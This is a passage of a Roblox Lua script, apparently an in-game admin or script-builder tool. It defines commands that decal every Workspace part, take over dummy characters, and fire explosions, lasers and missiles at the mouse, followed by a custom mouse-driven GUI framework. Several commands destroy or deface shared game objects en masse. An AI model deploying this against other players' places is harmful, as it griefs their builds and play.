  3437.                                 if className == "Part" and tostring(child) == "Head" then
  3438.                                         head = child
  3439.                                         if humanoid then
  3440.                                                 break
  3441.                                         end
  3442.                                 elseif className == "Humanoid" then
  3443.                                         if child.Health > 0 then
  3444.                                                 humanoid = child
  3445.                                                 if head then
  3446.                                                         break
  3447.                                                 end
  3448.                                         else
  3449.                                                 break
  3450.                                         end
  3451.                                 end
  3452.                         end
  3453.                         if head and humanoid then
  3454.                                 numDummies = numDummies + 1
  3455.                                 dummies[numDummies] = {character, head, humanoid}
  3456.                         end
  3457.                 end
  3458.         end
  3459.         if numDummies > 0 then
  3460.                 local dummy = dummies[math.random(numDummies)]
  3461.                 Player.Character = dummy[1]
  3462.                 chatAdornee = dummy[2]
  3463.                 Camera.CameraSubject = dummy[3]
  3464.                 Camera.CameraType = "Track"
  3465.         end
  3466. end
  3467. function ControllerCommands.Decalify(textures, exclusion)
  3468.         local objects = Workspace:GetChildren()
  3469.         for _, object in ipairs(objects) do
  3470.                 if not exclusion[object] then
  3471.                         for _, child in ipairs(object:GetChildren()) do
  3472.                                 objects[#objects + 1] = child
  3473.                         end
  3474.                         if object:IsA("BasePart") then
  3475.                                 local texture = textures[math.random(#textures)]
  3476.                                 local face_left = Instance.new("Decal", object)
  3477.                                 face_left.Face = Enum.NormalId.Left
  3478.                                 face_left.Texture = texture
  3479.                                 local face_right = Instance.new("Decal", object)
  3480.                                 face_right.Face = Enum.NormalId.Right
  3481.                                 face_right.Texture = texture
  3482.                                 local face_bottom = Instance.new("Decal", object)
  3483.                                 face_bottom.Face = Enum.NormalId.Bottom
  3484.                                 face_bottom.Texture = texture
  3485.                                 local face_top = Instance.new("Decal", object)
  3486.                                 face_top.Face = Enum.NormalId.Top
  3487.                                 face_top.Texture = texture
  3488.                                 local face_front = Instance.new("Decal", object)
  3489.                                 face_front.Face = Enum.NormalId.Front
  3490.                                 face_front.Texture = texture
  3491.                                 local face_back = Instance.new("Decal", object)
  3492.                                 face_back.Face = Enum.NormalId.Back
  3493.                                 face_back.Texture = texture
  3494.                         end
  3495.                 end
  3496.         end
  3497. end
  3498.  
  3499. function ControllerCommands.ExplodeAtMouse()
  3500.         local explosion = Instance.new("Explosion")
  3501.         explosion.Position = Mouse.Hit.p
  3502.         explosion.Parent = Workspace
  3503. end
  3504. function ControllerCommands.LaserAtMouse()
  3505.         GraphicalEffects.ShootLaserOfDeath(Mouse.Hit.p)
  3506. end
  3507. function ControllerCommands.BigLaser(target)
  3508.         GraphicalEffects.ShootLaserOfDeath(target, {brickcolor = BrickColor.new("New Yeller"), duration = 80, fragmentation_size = 6,laser_scale = 30, light_color = Color3.new(1, 0.5, 0), magic_circle_image = "rbxassetid://126561317", magic_circle_scale = 1.5, sound_volume = 1,special_effects = BrickColor.new("Deep orange"), stay = 2})
  3509. end
  3510. function ControllerCommands.BigLaserAtMouse()
  3511.         ControllerCommands.BigLaser(Mouse.Hit.p)
  3512. end
  3513. function ControllerCommands.ShootMissile(targetPart, pointOnPart, direction)
  3514.         GraphicalEffects.ShootMissile(targetPart, pointOnPart, direction)
  3515. end
  3516. function ControllerCommands.ShootMissileAtMouse(amount, spread, delayTime)
  3517.         local exclusionList = {}
  3518.         local playerHead = PlayerControl.GetHead()
  3519.         local playerTorso = PlayerControl.GetTorso()
  3520.         if playerHead and playerTorso then
  3521.                 exclusionList[playerTorso] = true
  3522.                 local humanoid, torso = Utility.FindHumanoidClosestToRay(Mouse.UnitRay, exclusionList)
  3523.                 local targetPart, pointOnPart
  3524.                 if humanoid and torso then
  3525.                         targetPart, pointOnPart = torso, Vector3.new()
  3526.                 else
  3527.                         local target = Mouse.Target
  3528.                         if target then
  3529.                                 targetPart, pointOnPart = target, target.CFrame:pointToObjectSpace(Mouse.Hit.p)
  3530.                         else
  3531.                                 return
  3532.                         end
  3533.                 end
  3534.                 if targetPart then
  3535.                         local direction = (Mouse.Hit.p - playerHead.Position).unit
  3536.                         delayTime = delayTime or 0
  3537.                         for index = 1, amount do
  3538.                                 local angles = math.tau * (index - 0.5) * spread / amount * Vector3.new(math.random() - 0.5, math.random() - 0.5,math.random() - 0.5).unit
  3539.                                 TaskScheduler.Schedule(delayTime * (index - 1), ControllerCommands.ShootMissile, targetPart, pointOnPart, CFrame.Angles(angles.X, angles.Y, angles.Z) * direction)
  3540.                         end
  3541.                 end
  3542.         end
  3543. end
  3544. function ControllerCommands.ShootMissileAroundMouse(amount, offset, delayTime)
  3545.         local exclusionList = {}
  3546.         local playerHead = PlayerControl.GetHead()
  3547.         local playerTorso = PlayerControl.GetTorso()
  3548.         if playerHead and playerTorso then
  3549.                 exclusionList[playerTorso] = true
  3550.                 local humanoid, torso = Utility.FindHumanoidClosestToRay(Mouse.UnitRay, exclusionList)
  3551.                 local targetPart, pointOnPart
  3552.                 if humanoid and torso then
  3553.                         targetPart, pointOnPart = torso, Vector3.new()
  3554.                 else
  3555.                         local target = Mouse.Target
  3556.                         if target then
  3557.                                 targetPart, pointOnPart = target, target.CFrame:pointToObjectSpace(Mouse.Hit.p)
  3558.                         else
  3559.                                 return
  3560.                         end
  3561.                 end
  3562.                 if targetPart then
  3563.                         delayTime = delayTime or 0
  3564.                         local index = 1
  3565.                         local targetPoint = targetPart.CFrame * pointOnPart
  3566.                         local rotation_offset_angles = math.tau * Vector3.new(math.random() - 0.5, math.random() - 0.5, 0).unit
  3567.                         local rotation_offset = CFrame.Angles(rotation_offset_angles.x, rotation_offset_angles.y, 0)
  3568.                         local angle_x = 0
  3569.                         local angle_x_step = math.tau / math.phi
  3570.                         for i = 1, 8 * amount do
  3571.                                 angle_x = angle_x + angle_x_step
  3572.                                 local direction = rotation_offset * (CFrame.Angles(0, math.tau * index / amount, 0) * CFrame.Angles(angle_x, 0,0).lookVector)
  3573.                                 local blocked = Workspace:FindPartOnRay(Ray.new(targetPoint, direction * offset), targetPart.Parent)
  3574.                                 if not blocked then
  3575.                                         local p0, p1, p2, p3 = targetPart, pointOnPart, direction, offset; GraphicalEffects.ShootMissile(p0, p1, p2, function() return p0 end, p3, true)
  3576.                                         index = index + 1
  3577.                                         if index > amount then
  3578.                                                 break
  3579.                                         end
  3580.                                 end
  3581.                         end
  3582.                 end
  3583.         end
  3584. end
  3585.  
  3586. function ControllerCommands.HugeExplosionOfDoom(position)
  3587.         local connections = {}
  3588.         local parts = {}
  3589.         local cframe = CFrame.new(position)
  3590.         local function ExplosionHit(part)
  3591.                 if part:GetMass() < 10000 and part.Parent ~= Camera then
  3592.                         parts[part] = true
  3593.                         part.Anchored = true
  3594.                         part:BreakJoints()
  3595.                         part.BrickColor = BrickColor.new("Instituational white")
  3596.                 end
  3597.         end
  3598.         for i = 1, 4 do
  3599.                 local quantity = 0.5 * i * (1 + i)
  3600.                 local fraction = math.tau / quantity
  3601.                 for x = 1, quantity do
  3602.                         for y = 1, quantity do
  3603.                                 local explosion = Instance.new("Explosion")
  3604.                                 connections[#connections + 1] = explosion.Hit:connect(ExplosionHit)
  3605.                                 explosion.BlastRadius = 5
  3606.                                 explosion.Position = cframe * (CFrame.Angles(fraction * x, fraction * y, 0) * Vector3.new((i - 1) * 6, 0, 0))
  3607.                                 explosion.Parent = Workspace
  3608.                         end
  3609.                 end
  3610.                 wait(0.075)
  3611.         end
  3612.         for part in pairs(parts) do
  3613.                 for _, child in ipairs(part:GetChildren()) do
  3614.                         if child:IsA("BodyMover") then
  3615.                                 child:Destroy()
  3616.                         end
  3617.                 end
  3618.                 local mass = part:GetMass()
  3619.                 local velocity = CFrame.Angles(math.tau * math.random(), math.tau * math.random(), 0) * Vector3.new(25, 0, 0)
  3620.                 local bodythrust = Instance.new("BodyThrust")
  3621.                 bodythrust.force = mass * -velocity
  3622.                 bodythrust.Parent = part
  3623.                 local bodyforce = Instance.new("BodyForce")
  3624.                 bodyforce.force = mass * Vector3.new(0, 196.2, 0)
  3625.                 bodyforce.Parent = part
  3626.                 part.Anchored = false
  3627.                 part.Reflectance = 1
  3628.                 part.RotVelocity = math.tau * Vector3.new(math.random() - 0.5, math.random() - 0.5, math.random() - 0.5)
  3629.                 part.Transparency = 0.5
  3630.                 part.Velocity = (part.CFrame - part.Position) * velocity
  3631.         end
  3632.         for _, connection in ipairs(connections) do
  3633.                 connection:disconnect()
  3634.         end
  3635.         for i = 0, 99 do
  3636.                 Delay(i / 10, function()
  3637.                         for part in pairs(parts) do
  3638.                                 local new_transparency = 0.5 * (1 + i / 50)
  3639.                                 part.Reflectance = 0.98 * part.Reflectance
  3640.                                 if new_transparency > part.Transparency then
  3641.                                         part.Transparency = new_transparency
  3642.                                 end
  3643.                         end
  3644.                 end)
  3645.         end
  3646.         Delay(10, function()
  3647.                 for part in pairs(parts) do
  3648.                         pcall(part.Destroy, part)
  3649.                 end
  3650.         end)
  3651. end
  3652. function ControllerCommands.HugeExplosionOfDoomAtMouse()
  3653.         ControllerCommands.HugeExplosionOfDoom(Mouse.Hit.p)
  3654. end
  3655.  
  3656. function ControllerCommands.SpaceHyperBeam(asd)
  3657.         GraphicalEffects.SpaceHyperBeam(asd)
  3658. end
  3659. function ControllerCommands.SpaceHyperBeamAtMouse()
  3660.         ControllerCommands.SpaceHyperBeam(Mouse.Hit.p)
  3661. end
  3662. function ControllerCommands.ConcentratedSpaceHyperBeamAtMouse()
  3663.         local p = Mouse.Hit.p; for i = 1, 50 do GraphicalEffects.SpaceHyperBeam(p) end
  3664. end
  3665.  
  3666. function ControllerCommands.TeleportCharacterToMouse()
  3667.         if PlayerControl.IsEnabled() then
  3668.                 local torso = PlayerControl.GetTorso()
  3669.                 if torso then
  3670.                         local pos = Mouse.Hit.p + Vector3.new(0, 5, 0)
  3671.                         torso.CFrame = CFrame.new(pos, pos + torso.CFrame.lookVector)
  3672.                 end
  3673.         else
  3674.                 local new_focus_position = Mouse.Hit.p
  3675.                 local direction_vector = Camera.CoordinateFrame.lookVector
  3676.                 local new_focus = CFrame.new(new_focus_position, new_focus_position + direction_vector)
  3677.                 Camera.CoordinateFrame = new_focus * CFrame.new(0, 0, 25)
  3678.                 Camera.Focus = new_focus
  3679.         end
  3680. end
  3681.  
  3682. AdvancedGUI = {};
  3683.  
  3684. if not AdvancedGUI.GUI_BASE_COLOR then
  3685.     AdvancedGUI.GUI_BASE_COLOR = Color3.new(0, 0, 0)
  3686. end
  3687. function AdvancedGUI.GenerateChatColor(speakerName)
  3688.     local chatColor = ChatColor.Get(speakerName).Color
  3689.     local brightness = chatColor.r + chatColor.g + chatColor.b
  3690.     if brightness < 1.5 then
  3691.         chatColor = Color3.new(math.min(1, 0.4 + chatColor.r), math.min(1, 0.4 + chatColor.g), math.min(1, 0.4 + chatColor.b))
  3692.     else
  3693.         chatColor = Color3.new(math.min(1, 0.05 + chatColor.r), math.min(1, 0.05 + chatColor.g), math.min(1, 0.05 + chatColor.b))
  3694.     end
  3695.     return chatColor
  3696. end
  3697. GuiBase = {}
  3698. GuiBase.__index = GuiBase
  3699. function GuiBase:new(data)
  3700.     local instance = setmetatable({}, self)
  3701.     instance:Init(data)
  3702.     return instance
  3703. end
  3704. function GuiBase:Destroy()
  3705.     if self.parent then
  3706.         self.parent.children[self] = nil
  3707.     end
  3708.     for child in pairs(self.children) do
  3709.         child:Destroy()
  3710.     end
  3711.     self.m_base_instance:Destroy()
  3712. end
  3713. function GuiBase:GetContentInstance(child)
  3714.     return self.m_base_instance
  3715. end
  3716. function GuiBase:Init()
  3717.     self.children = {}
  3718. end
  3719. function GuiBase:IsA(className)
  3720.     return className == "GuiBase"
  3721. end
  3722. function GuiBase:SetParent(parent)
  3723.     if parent ~= self.parent then
  3724.         if self.parent then
  3725.             self.parent.children[self] = nil
  3726.         end
  3727.         self.parent = parent
  3728.         if parent then
  3729.             parent.children[self] = true
  3730.             self.m_base_instance.Parent = parent:GetContentInstance()
  3731.         else
  3732.             self.m_base_instance.Parent = nil
  3733.         end
  3734.     end
  3735. end
  3736. GuiObject = setmetatable({}, GuiBase)
  3737. GuiObject.__index = GuiObject
  3738. function GuiObject:Destroy()
  3739.     self.DragBegin:disconnect()
  3740.     self.DragMove:disconnect()
  3741.     self.DragStopped:disconnect()
  3742.     self.MouseButton1Click:disconnect()
  3743.     self.MouseButton1Down:disconnect()
  3744.     self.MouseButton1Up:disconnect()
  3745.     self.MouseButton2Down:disconnect()
  3746.     self.MouseButton2Up:disconnect()
  3747.     self.MouseEnter:disconnect()
  3748.     self.MouseLeave:disconnect()
  3749.     GuiBase.Destroy(self)
  3750. end
  3751. function GuiObject:GetAbsolutePosition()
  3752.     return self.m_base_instance.AbsolutePosition
  3753. end
  3754. function GuiObject:GetAbsoluteSize()
  3755.     return self.m_base_instance.AbsoluteSize
  3756. end
  3757. function GuiObject:GetPosition()
  3758.     return self.position
  3759. end
  3760. function GuiObject:GetSize()
  3761.     return self.size
  3762. end
  3763. function GuiObject:Init()
  3764.     GuiBase.Init(self)
  3765.     self.mouseDown = false
  3766.     self.mouseOver = false
  3767.     self.DragBegin = RbxUtility.CreateSignal()
  3768.     self.DragMove = RbxUtility.CreateSignal()
  3769.     self.DragStopped = RbxUtility.CreateSignal()
  3770.     self.MouseButton1Click = RbxUtility.CreateSignal()
  3771.     self.MouseButton1Down = RbxUtility.CreateSignal()
  3772.     self.MouseButton1Up = RbxUtility.CreateSignal()
  3773.     self.MouseButton2Down = RbxUtility.CreateSignal()
  3774.     self.MouseButton2Up = RbxUtility.CreateSignal()
  3775.     self.MouseEnter = RbxUtility.CreateSignal()
  3776.     self.MouseLeave = RbxUtility.CreateSignal()
  3777. end
  3778. function GuiObject:IsA(className)
  3779.     return className == "GuiObject" or GuiBase.IsA(self, className)
  3780. end
  3781. function GuiObject:SetActive(active)
  3782.     if active ~= self.active then
  3783.         self.active = active
  3784.     end
  3785. end
  3786. function GuiObject:SetBackgroundTransparency(backgroundTransparency)
  3787.     if backgroundTransparency ~= self.backgroundTransparency then
  3788.         self.backgroundTransparency = backgroundTransparency
  3789.         self.m_base_instance.BackgroundTransparency = backgroundTransparency
  3790.     end
  3791. end
  3792. function GuiObject:SetColor(color)
  3793.     if color ~= self.color then
  3794.         self.color = color
  3795.         self.m_base_instance.BackgroundColor3 = color
  3796.     end
  3797. end
  3798. function GuiObject:SetPosition(position)
  3799.     if position ~= self.position then
  3800.         self.position = position
  3801.         self.m_base_instance.Position = position
  3802.     end
  3803. end
  3804. function GuiObject:SetSize(size)
  3805.     if size ~= self.size then
  3806.         self.size = size
  3807.         self.m_base_instance.Size = size
  3808.     end
  3809. end
  3810. function GuiObject:SetVisible(visible)
  3811.     if visible ~= self.visible then
  3812.         self.visible = visible
  3813.         self.m_base_instance.Visible = visible
  3814.     end
  3815. end
  3816. function GuiObject:SetZIndex(zIndex)
  3817.     local stack = {self.m_base_instance}
  3818.     repeat
  3819.         local object = stack[#stack]
  3820.         stack[#stack] = nil
  3821.         for _, child in ipairs(object:GetChildren()) do
  3822.             stack[#stack + 1] = child
  3823.         end
  3824.         object.ZIndex = zIndex
  3825.     until #stack == 0
  3826. end
  3827. GuiServiceClass = setmetatable({}, GuiBase)
  3828. GuiServiceClass.__index = GuiServiceClass
  3829. function GuiServiceClass:CreateTextArea(text, font, fontSize, textColor3, textXAlignment, textYAlignment, maxWidth, minWidth)
  3830.     local totalHeight = 0
  3831.     local frame = Instance.new("Frame")
  3832.     frame.BackgroundTransparency = 1
  3833.     local label = Instance.new("TextLabel")
  3834.     label.BackgroundTransparency = 1
  3835.     label.Font = font
  3836.     label.FontSize = fontSize
  3837.     label.TextColor3 = textColor3
  3838.     label.TextTransparency = 1
  3839.     label.TextWrapped = true
  3840.     label.TextXAlignment = textXAlignment
  3841.     label.TextYAlignment = textYAlignment
  3842.     label.Parent = self.guiFrame
  3843.     local index = 1
  3844.     while true do
  3845.         local length = #text - index + 1
  3846.         if length > 1024 then
  3847.             length = 1024
  3848.             local textBlock = string.sub(text, index, index + length - 1)
  3849.             label.Text = textBlock
  3850.             local height = 0
  3851.             local width = maxWidth
  3852.             repeat
  3853.                 height = height + 20
  3854.                 label.Size = UDim2.new(0, width, 0, height)
  3855.             until label.TextFits
  3856.             repeat
  3857.                 height = height - 1
  3858.                 label.Size = UDim2.new(0, width, 0, height)
  3859.             until not label.TextFits
  3860.             repeat
  3861.                 length = length - 10
  3862.                 label.Text = string.sub(text, index, index + length - 1)
  3863.             until label.TextFits
  3864.             repeat
  3865.                 length = length + 1
  3866.                 label.Text = string.sub(text, index, index + length - 1)
  3867.             until not label.TextFits
  3868.             local overflowCharacter = string.sub(text, index + length - 1, index + length - 1)
  3869.             length = length - 1
  3870.             label.Text = string.sub(text, index, index + length - 1)
  3871.             if overflowCharacter == "\n" then
  3872.                 index = index + 1
  3873.             end
  3874.             repeat
  3875.                 height = height - 1
  3876.                 label.Size = UDim2.new(0, width, 0, height)
  3877.             until not label.TextFits
  3878.             height = height + 1
  3879.             local blockLabel = label:Clone()
  3880.             blockLabel.Position = UDim2.new(0, 0, 0, totalHeight)
  3881.             blockLabel.Size = UDim2.new(1, 0, 0, height)
  3882.             blockLabel.Parent = frame
  3883.             totalHeight = totalHeight + height
  3884.             index = index + length
  3885.         else
  3886.             local textBlock = string.sub(text, index)
  3887.             label.Text = textBlock
  3888.             local height = 0
  3889.             local width = maxWidth
  3890.             repeat
  3891.                 height = height + 20
  3892.                 label.Size = UDim2.new(0, width, 0, height)
  3893.             until label.TextFits
  3894.             repeat
  3895.                 height = height - 1
  3896.                 label.Size = UDim2.new(0, width, 0, height)
  3897.             until not label.TextFits
  3898.             height = height + 1
  3899.             if index == 1 then
  3900.                 repeat
  3901.                     width =  width - 10
  3902.                     label.Size = UDim2.new(0, width, 0, height)
  3903.                 until width < minWidth or not label.TextFits
  3904.                 width = math.max(width, minWidth - 1)
  3905.                 repeat
  3906.                     width =  width + 1
  3907.                     label.Size = UDim2.new(0, width, 0, height)
  3908.                 until label.TextFits
  3909.             end
  3910.             local blockLabel = label:Clone()
  3911.             blockLabel.Position = UDim2.new(0, 0, 0, totalHeight)
  3912.             blockLabel.Size = UDim2.new(1, 0, 0, height)
  3913.             blockLabel.Parent = frame
  3914.             label:Destroy()
  3915.             frame.Size = UDim2.new(0, width, 0, totalHeight + height)
  3916.             return frame
  3917.         end
  3918.     end
  3919. end
  3920. function GuiServiceClass:Destroy()
  3921.     self.running = false
  3922.     self.cameraPart:Destroy()
  3923.     self.cameraConnection:disconnect()
  3924.     self.keyDownConnection:disconnect()
  3925.     self.mouseButton1DownConnection:disconnect()
  3926.     self.mouseButton1UpConnection:disconnect()
  3927.     self.mouseButton2DownConnection:disconnect()
  3928.     self.mouseButton2UpConnection:disconnect()
  3929.     self.mouseMoveConnection:disconnect()
  3930.     self.steppedConnection:disconnect()
  3931. end
  3932. function GuiServiceClass:GetMousePosition()
  3933.     local mouse = self.mouse
  3934.     return mouse.X, mouse.Y -- mouse.X, mouse.Y + 2 -- return mouse.X - 2, mouse.Y - 3
  3935. end
  3936. function GuiServiceClass:GetTextBounds(text, font, fontSize, alignX, alignY, width)
  3937.     local tempLabel = self.tempLabel
  3938.     tempLabel.Font = font
  3939.     tempLabel.FontSize = fontSize
  3940.     tempLabel.Size = UDim2.new(0, width, 0, 4096)
  3941.     tempLabel.Text = text
  3942.     tempLabel.TextXAlignment = alignX
  3943.     tempLabel.TextYAlignment = alignY
  3944.     local textBounds = tempLabel.TextBounds
  3945.     tempLabel.Text = ""
  3946.     return textBounds
  3947. end
  3948. function GuiServiceClass:Init(data)
  3949.     GuiBase.Init(self)
  3950.     local _ = string.char
  3951.     local camera = data.Camera
  3952.     local mouse = data.Mouse
  3953.     local cameraPart = Instance.new("Part")
  3954.     local billboardGui = Instance.new("BillboardGui", cameraPart)
  3955.     guiFrame = Instance.new("Frame", billboardGui)
  3956.     cameraPart.Anchored = true
  3957.     cameraPart.BottomSurface = "Smooth"
  3958.     cameraPart.CanCollide = false
  3959. --  cameraPart.CFrame = CFrame.new(16384, 16384, 16384)
  3960.     cameraPart.FormFactor = "Custom"
  3961.     cameraPart.Locked = true
  3962.     cameraPart.Size = Vector3.new(0.2, 0.2, 0.2)
  3963.     cameraPart.TopSurface = "Smooth"
  3964.     cameraPart.Transparency = 1
  3965.     billboardGui.Adornee = cameraPart
  3966.     billboardGui.AlwaysOnTop = true
  3967. --  billboardGui.ExtentsOffset = Vector3.new(-16384, -16384, -16384)
  3968.     guiFrame.BackgroundTransparency = 1
  3969.     cameraPart.Parent = camera
  3970.     self.running = true
  3971.     self.m_base_instance = guiFrame
  3972.     self.billboardGui = billboardGui
  3973.     self.cameraPart = cameraPart
  3974.     self.tempLabel = RBXInstance.new "TextLabel" {
  3975.         BackgroundTransparency = 1,
  3976.         TextTransparency = 1,
  3977.         TextWrapped = true,
  3978.         Parent = guiFrame
  3979.     }
  3980.     self.mnemonics = {}
  3981.     self.visible = true
  3982.     self.camera = camera
  3983.     self.mouse = mouse
  3984.     self.cameraConnection = camera.Changed:connect(function(property)
  3985.         self:UpdateView()
  3986.         if property == "CameraType" then
  3987.             if camera.CameraType ~= Enum.CameraType.Track and camera.CameraType ~= Enum.CameraType.Fixed then
  3988.                 camera.CameraType = Enum.CameraType.Track
  3989.             end
  3990.         elseif property == "CoordinateFrame" and camera.CameraType ~= Enum.CameraType.Fixed then
  3991.             local cframe, focus = camera.CoordinateFrame, camera.Focus
  3992.             local watchOffset = focus.p - cframe.p
  3993.             local error = watchOffset.unit - cframe.lookVector
  3994.             if error.magnitude >= 1e-3 then
  3995.                 local head = PlayerControl.GetHead()
  3996.                 local time1, velocity1
  3997.                 if head then
  3998.                     time1 = time()
  3999.                     velocity1 = head.Velocity
  4000.                 end
  4001.                 if camera.Changed:wait() == "CoordinateFrame" then
  4002.                     local position = cframe.p
  4003.                     if head then
  4004.                         local time2 = time()
  4005.                         local velocity2 = head.Velocity
  4006.                         position = position + 0.5 * (velocity1 + velocity2) * (time2 - time1)
  4007.                     end
  4008.                     camera.CoordinateFrame = CFrame.new(position, camera.Focus.p)
  4009.                 end
  4010.             end
  4011.         end
  4012.     end)
  4013.     self.keyDownConnection = mouse.KeyDown:connect(function(key) self:KeyDown(key) end)
  4014.     self.mouseButton1DownConnection = mouse.Button1Down:connect(function() self:MouseButton1Down() end)
  4015.     self.mouseButton1UpConnection = mouse.Button1Up:connect(function() self:MouseButton1Up() end)
  4016.     self.mouseButton2DownConnection = mouse.Button2Down:connect(function() self:MouseButton2Down() end)
  4017.     self.mouseButton2UpConnection = mouse.Button2Up:connect(function() self:MouseButton2Up() end)
  4018.     self.mouseMoveConnection = mouse.Move:connect(function() self:MouseMove() end)
  4019.     self.steppedConnection = RunService.RenderStepped:connect(function() self:UpdateObjects() self:UpdateView() end)
  4020.     self.mousePreviousPosition = Vector2.new(self:GetMousePosition())
  4021. end
  4022. function GuiServiceClass:IsA(className)
  4023.     return className == "GuiService" or GuiBase.IsA(self, className)
  4024. end
  4025. function GuiServiceClass:KeyDown(key)
  4026.     local mnemonicButton = self.mnemonics[string.upper(key)]
  4027.     if mnemonicButton then
  4028.         mnemonicButton.Activated:fire()
  4029.     end
  4030. end
  4031. function GuiServiceClass:MouseButton1Down()
  4032.     local mouse = self.mouse
  4033.     local mouseX, mouseY = self:GetMousePosition()
  4034.     local stack = {self}
  4035.     local dragObjects = {}
  4036.     self.dragObjects = dragObjects
  4037.     while #stack > 0 do
  4038.         local object = stack[#stack]
  4039.         stack[#stack] = nil
  4040.         if object.visible then
  4041.             for child in pairs(object.children) do
  4042.                 stack[#stack + 1] = child
  4043.             end
  4044.             if object.active then
  4045.                 local position = object:GetAbsolutePosition()
  4046.                 local size = object:GetAbsoluteSize()
  4047.                 if mouseX >= position.X and mouseY >= position.Y and mouseX < position.X + size.X and mouseY < position.Y + size.Y then
  4048.                     object.mouseDown = true
  4049.                     dragObjects[object] = true
  4050.                     local mouseButton1Down = object.MouseButton1Down
  4051.                     if mouseButton1Down then
  4052.                         mouseButton1Down:fire()
  4053.                         if object.autoButtonColor then
  4054.                             local color = object.color
  4055.                             local transparency = object.backgroundTransparency
  4056.                             object.m_base_instance.BackgroundColor3 = Color3.new(math.min(color.r + 0.3, 1), math.min(color.g +
  4057.  
  4058. 0.3, 1), math.min(color.b + 0.3, 1))
  4059.                             object.m_base_instance.BackgroundTransparency = transparency
  4060.                         end
  4061.                     end
  4062.                     object.DragBegin:fire()
  4063.                 end
  4064.             end
  4065.         end
  4066.     end
  4067.     self.mousePreviousPosition = Vector2.new(mouseX, mouseY)
  4068. end
  4069. function GuiServiceClass:MouseButton1Up()
  4070.     local mouse = self.mouse
  4071.     local mouseX, mouseY = self:GetMousePosition()
  4072.     local stack = {self}
  4073.     while #stack > 0 do
  4074.         local object = stack[#stack]
  4075.         stack[#stack] = nil
  4076.         if object.visible then
  4077.             for child in pairs(object.children) do
  4078.                 stack[#stack + 1] = child
  4079.             end
  4080.             if object.active then
  4081.                 local position = object:GetAbsolutePosition()
  4082.                 local size = object:GetAbsoluteSize()
  4083.                 if mouseX >= position.X and mouseY >= position.Y and mouseX < position.X + size.X and mouseY < position.Y + size.Y then
  4084.                     object.MouseButton1Up:fire()
  4085.                 end
  4086.             end
  4087.         end
  4088.     end
  4089.     local dragObjects = self.dragObjects
  4090.     self.dragObjects = nil
  4091.     if dragObjects then
  4092.         for dragObject in pairs(dragObjects) do
  4093.             dragObject.mouseDown = false
  4094.             local position = dragObject:GetAbsolutePosition()
  4095.             local size = dragObject:GetAbsoluteSize()
  4096.             if mouseX >= position.X and mouseY >= position.Y and mouseX < position.X + size.X and mouseY < position.Y + size.Y then
  4097.                 dragObject.MouseButton1Click:fire()
  4098.                 local activated = dragObject.Activated
  4099.                 if activated then
  4100.                     activated:fire()
  4101.                 end
  4102.             end
  4103.             dragObject.DragStopped:fire()
  4104.             if dragObject.autoButtonColor then
  4105.                 if dragObject.mouseOver then
  4106.                     local color = dragObject.color
  4107.                     local transparency = dragObject.backgroundTransparency
  4108.                     dragObject.m_base_instance.BackgroundColor3 = Color3.new(math.max(color.r - 0.3, 0), math.max(color.g - 0.3, 0),
  4109.  
  4110. math.max(color.b - 0.3, 0))
  4111.                     dragObject.m_base_instance.BackgroundTransparency = math.max(0, transparency - 0.2)
  4112.                 else
  4113.                     dragObject.m_base_instance.BackgroundColor3 = dragObject.color
  4114.                     dragObject.m_base_instance.BackgroundTransparency = dragObject.backgroundTransparency
  4115.                 end
  4116.             end
  4117.             self.dragObject = nil
  4118.         end
  4119.     end
  4120. end
  4121. function GuiServiceClass:MouseButton2Down()
  4122.     local mouse = self.mouse
  4123.     local mouseX, mouseY = self:GetMousePosition()
  4124.     local stack = {self}
  4125.     while #stack > 0 do
  4126.         local object = stack[#stack]
  4127.         stack[#stack] = nil
  4128.         if object.visible then
  4129.             for child in pairs(object.children) do
  4130.                 stack[#stack + 1] = child
  4131.             end
  4132.             if object.active then
  4133.                 local position = object:GetAbsolutePosition()
  4134.                 local size = object:GetAbsoluteSize()
  4135.                 if mouseX >= position.X and mouseY >= position.Y and mouseX < position.X + size.X and mouseY < position.Y + size.Y then
  4136.                     local mouseButton2Down = object.MouseButton2Down
  4137.                     if mouseButton2Down then
  4138.                         mouseButton2Down:fire()
  4139.                     end
  4140.                 end
  4141.             end
  4142.         end
  4143.     end
  4144.     self.mousePreviousPosition = Vector2.new(mouseX, mouseY)
  4145. end
  4146. function GuiServiceClass:MouseButton2Up()
  4147.     local mouse = self.mouse
  4148.     local mouseX, mouseY = self:GetMousePosition()
  4149.     local stack = {self}
  4150.     while #stack > 0 do
  4151.         local object = stack[#stack]
  4152.         stack[#stack] = nil
  4153.         if object.visible then
  4154.             for child in pairs(object.children) do
  4155.                 stack[#stack + 1] = child
  4156.             end
  4157.             if object.active then
  4158.                 local position = object:GetAbsolutePosition()
  4159.                 local size = object:GetAbsoluteSize()
  4160.                 if mouseX >= position.X and mouseY >= position.Y and mouseX < position.X + size.X and mouseY < position.Y + size.Y then
  4161.                     local mouseButton2Up = object.MouseButton2Up
  4162.                     if mouseButton2Up then
  4163.                         mouseButton2Up:fire()
  4164.                     end
  4165.                 end
  4166.             end
  4167.         end
  4168.     end
  4169. end
  4170. function GuiServiceClass:MouseMove()
  4171.     self:UpdateObjects()
  4172.     local dragObjects = self.dragObjects
  4173.     if dragObjects then
  4174.         for dragObject in pairs(dragObjects) do
  4175.             local mouse = self.mouse
  4176.             local mousePosition = Vector2.new(self:GetMousePosition())
  4177.             dragObject.DragMove:fire(mousePosition - self.mousePreviousPosition)
  4178.             self.mousePreviousPosition = mousePosition
  4179.         end
  4180.     end
  4181. end
  4182. function GuiServiceClass:SetMnemonic(mnemonic, button)
  4183.     self.mnemonics[mnemonic] = button
  4184. end
  4185. function GuiServiceClass:UpdateObjects()
  4186.     local mouse = self.mouse
  4187.     local mouseX, mouseY = self:GetMousePosition()
  4188.     local stack = {self}
  4189.     while #stack > 0 do
  4190.         local object = stack[#stack]
  4191.         stack[#stack] = nil
  4192.         if object.visible then
  4193.             for child in pairs(object.children) do
  4194.                 stack[#stack + 1] = child
  4195.             end
  4196.             if object.active then
  4197.                 local position = object:GetAbsolutePosition()
  4198.                 local size = object:GetAbsoluteSize()
  4199.                 if mouseX >= position.X and mouseY >= position.Y and mouseX < position.X + size.X and mouseY < position.Y + size.Y then
  4200.                     if not object.mouseOver then
  4201.                         object.mouseOver = true
  4202.                         object.MouseEnter:fire()
  4203.                         if object.autoButtonColor then
  4204.                             local color = object.color
  4205.                             local transparency = object.backgroundTransparency
  4206.                             if object.mouseDown then
  4207.                                 object.m_base_instance.BackgroundColor3 = Color3.new(math.min(color.r + 0.3, 1), math.min(color.g + 0.3, 1), math.min(color.b + 0.3, 1))
